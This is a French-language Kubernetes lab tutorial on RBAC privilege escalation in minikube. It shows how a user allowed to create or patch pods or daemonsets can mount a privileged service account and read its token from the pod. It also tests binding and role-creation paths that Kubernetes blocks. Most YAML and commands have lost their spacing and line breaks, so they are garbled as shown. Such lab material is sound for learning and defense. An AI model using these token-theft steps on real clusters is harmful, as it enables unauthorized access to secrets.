Vous pouvez exécuter ces laboratoires juste à l'intérieur de minikube.
Création de Pod -> Escalade vers les SAs de ns
Nous allons créer :
Un Compte de service "test-sa" avec un privilège de cluster pour lire les secrets
Un ClusterRole "test-cr" et un ClusterRoleBinding "test-crb" seront créés
Permissions pour lister et créer des pods à un utilisateur appelé "Test" seront données
Un Rôle "test-r" et un RoleBinding "test-rb" seront créés
Ensuite, nous allons confirmer que le SA peut lister les secrets et que l'utilisateur Test peut lister des pods
Enfin, nous allons usurper l'utilisateur Test pour créer un pod qui inclut le SA test-sa et voler le jeton du compte de service.
C'est ainsi que l'utilisateur pourrait escalader les privilèges de cette manière
Pour créer le scénario, un compte admin est utilisé.
De plus, pour exfiltrer le jeton sa dans cet exemple, le compte admin est utilisé pour exécuter à l'intérieur du pod créé. Cependant, comme expliqué ici, la déclaration du pod pourrait contenir l'exfiltration du jeton, donc le privilège "exec" n'est pas nécessaire pour exfiltrer le jeton, la permission "create" est suffisante.
# Create Service Account test-sa# Create role and rolebinding to give list and create permissions over pods in default namespace to user Test# Create clusterrole and clusterrolebinding to give the SA test-sa access to secrets everywhereecho'apiVersion: v1kind: ServiceAccountmetadata:name: test-sa---kind: RoleapiVersion: rbac.authorization.k8s.io/v1metadata:name: test-rrules:- apiGroups: [""]resources: ["pods"]verbs: ["get", "list", "delete", "patch", "create"]---apiVersion: rbac.authorization.k8s.io/v1kind: RoleBindingmetadata:name: test-rbsubjects:- kind: ServiceAccountname: test-sa- kind: Username: TestroleRef:kind: Rolename: test-rapiGroup: rbac.authorization.k8s.io---kind: ClusterRoleapiVersion: rbac.authorization.k8s.io/v1metadata:name: test-crrules:- apiGroups: [""]resources: ["secrets"]verbs: ["get", "list", "delete", "patch", "create"]---apiVersion: rbac.authorization.k8s.io/v1kind: ClusterRoleBindingmetadata:name: test-crbsubjects:- kind: ServiceAccountnamespace: defaultname: test-saapiGroup: ""roleRef:kind: ClusterRolename: test-crapiGroup: rbac.authorization.k8s.io'|kubectlapply-f-# Check test-sa can access kube-system secretskubectl--assystem:serviceaccount:default:test-sa-nkube-systemgetsecrets# Check user User can get pods in namespace defaultkubectl--asTest-ndefaultgetpods# Create a pod as user Test with the SA test-sa (privesc step)echo"apiVersion: v1kind: Podmetadata:name: test-podnamespace: defaultspec:containers:- name: alpineimage: alpinecommand: ['/bin/sh']args: ['-c', 'sleep 100000']serviceAccountName: test-saautomountServiceAccountToken: truehostNetwork: true"|kubectl--asTestapply-f-# Connect to the pod created an confirm the attached SA token belongs to test-sakubectl exec -ti -n default test-pod -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d
# Clean the scenariokubectldeletepodtest-podkubectldeleteclusterrolebindingtest-crbkubectldeleteclusterroletest-crkubectldeleterolebindingtest-rbkubectldeleteroletest-rkubectldeleteserviceaccounttest-sa
Créer un Daemonset
# Create Service Account test-sa# Create role and rolebinding to give list & create permissions over daemonsets in default namespace to user Test# Create clusterrole and clusterrolebinding to give the SA test-sa access to secrets everywhereecho'apiVersion: v1kind: ServiceAccountmetadata:name: test-sa---kind: RoleapiVersion: rbac.authorization.k8s.io/v1metadata:name: test-rrules:- apiGroups: ["apps"]resources: ["daemonsets"]verbs: ["get", "list", "create"]---apiVersion: rbac.authorization.k8s.io/v1kind: RoleBindingmetadata:name: test-rbsubjects:- kind: Username: TestroleRef:kind: Rolename: test-rapiGroup: rbac.authorization.k8s.io---kind: ClusterRoleapiVersion: rbac.authorization.k8s.io/v1metadata:name: test-crrules:- apiGroups: [""]resources: ["secrets"]verbs: ["get", "list", "delete", "patch", "create"]---apiVersion: rbac.authorization.k8s.io/v1kind: ClusterRoleBindingmetadata:name: test-crbsubjects:- kind: ServiceAccountnamespace: defaultname: test-saapiGroup: ""roleRef:kind: ClusterRolename: test-crapiGroup: rbac.authorization.k8s.io'|kubectlapply-f-# Check test-sa can access kube-system secretskubectl--assystem:serviceaccount:default:test-sa-nkube-systemgetsecrets# Check user User can get pods in namespace defaultkubectl--asTest-ndefaultgetdaemonsets# Create a daemonset as user Test with the SA test-sa (privesc step)echo"apiVersion: apps/v1kind: DaemonSetmetadata:name: alpinenamespace: defaultspec:selector:matchLabels:name: alpinetemplate:metadata:labels:name: alpinespec:serviceAccountName: test-saautomountServiceAccountToken: truehostNetwork: truecontainers:- name: alpineimage: alpinecommand: ['/bin/sh']args: ['-c', 'sleep 100000']"|kubectl--asTestapply-f-# Connect to the pod created an confirm the attached SA token belongs to test-sakubectl exec -ti -n default daemonset.apps/alpine -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d
# Clean the scenariokubectldeletedaemonsetalpinekubectldeleteclusterrolebindingtest-crbkubectldeleteclusterroletest-crkubectldeleterolebindingtest-rbkubectldeleteroletest-rkubectldeleteserviceaccounttest-sa
Patch Daemonset
Dans ce cas, nous allons patcher un daemonset pour que son pod charge notre compte de service souhaité.
Si votre utilisateur a le verbe update au lieu de patch, cela ne fonctionnera pas.
# Create Service Account test-sa# Create role and rolebinding to give list & update patch permissions over daemonsets in default namespace to user Test# Create clusterrole and clusterrolebinding to give the SA test-sa access to secrets everywhereecho'apiVersion: v1kind: ServiceAccountmetadata:name: test-sa---kind: RoleapiVersion: rbac.authorization.k8s.io/v1metadata:name: test-rrules:- apiGroups: ["apps"]resources: ["daemonsets"]verbs: ["get", "list", "patch"]---apiVersion: rbac.authorization.k8s.io/v1kind: RoleBindingmetadata:name: test-rbsubjects:- kind: Username: TestroleRef:kind: Rolename: test-rapiGroup: rbac.authorization.k8s.io---kind: ClusterRoleapiVersion: rbac.authorization.k8s.io/v1metadata:name: test-crrules:- apiGroups: [""]resources: ["secrets"]verbs: ["get", "list", "delete", "patch", "create"]---apiVersion: rbac.authorization.k8s.io/v1kind: ClusterRoleBindingmetadata:name: test-crbsubjects:- kind: ServiceAccountnamespace: defaultname: test-saapiGroup: ""roleRef:kind: ClusterRolename: test-crapiGroup: rbac.authorization.k8s.io---apiVersion: apps/v1kind: DaemonSetmetadata:name: alpinenamespace: defaultspec:selector:matchLabels:name: alpinetemplate:metadata:labels:name: alpinespec:automountServiceAccountToken: falsehostNetwork: truecontainers:- name: alpineimage: alpinecommand: ['/bin/sh']args: ['-c', 'sleep100']'|kubectlapply-f-# Check user User can get pods in namespace defaultkubectl--asTest-ndefaultgetdaemonsets# Create a daemonset as user Test with the SA test-sa (privesc step)echo"apiVersion: apps/v1kind: DaemonSetmetadata:name: alpinenamespace: defaultspec:selector:matchLabels:name: alpinetemplate:metadata:labels:name: alpinespec:serviceAccountName: test-saautomountServiceAccountToken: truehostNetwork: truecontainers:- name: alpineimage: alpinecommand: ['/bin/sh']args: ['-c', 'sleep 100000']"|kubectl--asTestapply-f-# Connect to the pod created an confirm the attached SA token belongs to test-sakubectl exec -ti -n default daemonset.apps/alpine -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d
# Clean the scenariokubectldeletedaemonsetalpinekubectldeleteclusterrolebindingtest-crbkubectldeleteclusterroletest-crkubectldeleterolebindingtest-rbkubectldeleteroletest-rkubectldeleteserviceaccounttest-sa
Ne fonctionne pas
Créer/Modifier les liaisons
Ne fonctionne pas:
Créer une nouvelle RoleBinding juste avec le verbe create
Créer une nouvelle RoleBinding juste avec le verbe patch (vous devez avoir les autorisations de liaison)
Vous ne pouvez pas le faire pour vous attribuer le rôle ou pour un autre SA
Modifier une nouvelle RoleBinding juste avec le verbe patch (vous devez avoir les autorisations de liaison)
Vous ne pouvez pas le faire pour vous attribuer le rôle ou pour un autre SA
echo'apiVersion: v1kind: ServiceAccountmetadata:name: test-sa---apiVersion: v1kind: ServiceAccountmetadata:name: test-sa2---kind: RoleapiVersion: rbac.authorization.k8s.io/v1metadata:name: test-rrules:- apiGroups: ["rbac.authorization.k8s.io"]resources: ["rolebindings"]verbs: ["get", "patch"]---apiVersion: rbac.authorization.k8s.io/v1kind: RoleBindingmetadata:name: test-rbsubjects:- kind: Username: TestroleRef:kind: Rolename: test-rapiGroup: rbac.authorization.k8s.io---kind: RoleapiVersion: rbac.authorization.k8s.io/v1metadata:name: test-r2rules:- apiGroups: [""]resources: ["pods"]verbs: ["get", "list", "delete", "patch", "create"]---apiVersion: rbac.authorization.k8s.io/v1kind: RoleBindingmetadata:name: test-rb2subjects:- kind: ServiceAccountname: test-saapiGroup: ""roleRef:kind: Rolename: test-r2apiGroup: rbac.authorization.k8s.io'|kubectlapply-f-# Create a pod as user Test with the SA test-sa (privesc step)echo"apiVersion: rbac.authorization.k8s.io/v1kind: RoleBindingmetadata:name: test-r2subjects:- kind: ServiceAccountname: test-sa2apiGroup: ""roleRef:kind: Rolename: test-r2apiGroup: rbac.authorization.k8s.io"|kubectl--asTestapply-f-# Connect to the pod created an confirm the attached SA token belongs to test-sakubectl exec -ti -n default test-pod -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d
# Clean the scenariokubectldeleterolebindingtest-rbkubectldeleterolebindingtest-rb2kubectldeleteroletest-rkubectldeleteroletest-r2kubectldeleteserviceaccounttest-sakubectldeleteserviceaccounttest-sa2
Liens explicites de liaison
Dans la section "Prévention de l'escalade des privilèges et amorçage" de https://unofficial-kubernetes.readthedocs.io/en/latest/admin/authorization/rbac/, il est mentionné que si un SA peut créer une liaison et a des autorisations de liaison explicites sur le rôle/cluster role, il peut créer des liaisons même en utilisant des rôles/clusterroles avec des autorisations qu'il n'a pas.
Cependant, cela n'a pas fonctionné pour moi :
# Create 2 SAs, give one of them permissions to create clusterrolebindings# and bind permissions over the ClusterRole "admin"echo 'apiVersion:v1kind:ServiceAccountmetadata:name:test-sa---apiVersion:v1kind:ServiceAccountmetadata:name:test-sa2---kind:ClusterRoleapiVersion:rbac.authorization.k8s.io/v1metadata:name:test-crrules:- apiGroups: ["rbac.authorization.k8s.io"]resources: ["clusterrolebindings"]verbs: ["get","create"]- apiGroups: ["rbac.authorization.k8s.io/v1"]resources: ["clusterroles"]verbs: ["bind"]resourceNames: ["admin"]---apiVersion:rbac.authorization.k8s.io/v1kind:ClusterRoleBindingmetadata:name:test-crbsubjects:- kind:ServiceAccountname:test-sanamespace:defaultroleRef:kind:ClusterRolename:test-crapiGroup:rbac.authorization.k8s.io' | kubectl apply -f -# Try to bind the ClusterRole "admin" with the second SA (won't work)echo 'apiVersion:rbac.authorization.k8s.io/v1kind:ClusterRoleBindingmetadata:name:test-crb2subjects:- kind:ServiceAccountname:test-sa2namespace:defaultroleRef:kind:ClusterRolename:adminapiGroup:rbac.authorization.k8s.io' | kubectl --as system:serviceaccount:default:test-sa apply -f -# Clean environmentkubectl delete clusterrolebindings test-crbkubectl delete clusterrolebindings test-crb2kubectl delete clusterrole test-crkubectl delete serviceaccount test-sakubectl delete serviceaccount test-sa
# Like the previous example, but in this case we try to use RoleBindings# instead of CLusterRoleBindingsecho 'apiVersion:v1kind:ServiceAccountmetadata:name:test-sa---apiVersion:v1kind:ServiceAccountmetadata:name:test-sa2---kind:ClusterRoleapiVersion:rbac.authorization.k8s.io/v1metadata:name:test-crrules:- apiGroups: ["rbac.authorization.k8s.io"]resources: ["clusterrolebindings"]verbs: ["get","create"]- apiGroups: ["rbac.authorization.k8s.io"]resources: ["rolebindings"]verbs: ["get","create"]- apiGroups: ["rbac.authorization.k8s.io/v1"]resources: ["clusterroles"]verbs: ["bind"]resourceNames: ["admin","edit","view"]---apiVersion:rbac.authorization.k8s.io/v1kind:RoleBindingmetadata:name:test-rbnamespace:defaultsubjects:- kind:ServiceAccountname:test-sanamespace:defaultroleRef:kind:ClusterRolename:test-crapiGroup:rbac.authorization.k8s.io' | kubectl apply -f -# Won't workecho 'apiVersion:rbac.authorization.k8s.io/v1kind:RoleBindingmetadata:name:test-rb2namespace:defaultsubjects:- kind:ServiceAccountname:test-sa2namespace:defaultroleRef:kind:ClusterRolename:adminapiGroup:rbac.authorization.k8s.io' | kubectl --as system:serviceaccount:default:test-sa apply -f -# Clean environmentkubectl delete rolebindings test-rbkubectl delete rolebindings test-rb2kubectl delete clusterrole test-crkubectl delete serviceaccount test-sakubectl delete serviceaccount test-sa2
Création de rôles arbitraires
Dans cet exemple, nous essayons de créer un rôle ayant les autorisations de création et de chemin sur les ressources des rôles. Cependant, K8s nous empêche de créer un rôle avec plus d'autorisations que le principal qui le crée en a :
# Create a SA and give the permissions "create" and "patch" over "roles"echo 'apiVersion:v1kind:ServiceAccountmetadata:name:test-sa---kind:RoleapiVersion:rbac.authorization.k8s.io/v1metadata:name:test-rrules:- apiGroups: ["rbac.authorization.k8s.io"]resources: ["roles"]verbs: ["patch","create","get"]---apiVersion:rbac.authorization.k8s.io/v1kind:RoleBindingmetadata:name:test-rbsubjects:- kind:ServiceAccountname:test-saroleRef:kind:Rolename:test-rapiGroup:rbac.authorization.k8s.io' | kubectl apply -f -# Try to create a role over all the resources with "create" and "patch"# This won't wotrkecho 'kind:RoleapiVersion:rbac.authorization.k8s.io/v1metadata:name:test-r2rules:- apiGroups: [""]resources: ["*"]verbs: ["patch","create"]' | kubectl --as system:serviceaccount:default:test-sa apply -f-# Clean the environmentkubectl delete rolebinding test-rbkubectl delete role test-rkubectl delete role test-r2kubectl delete serviceaccount test-sa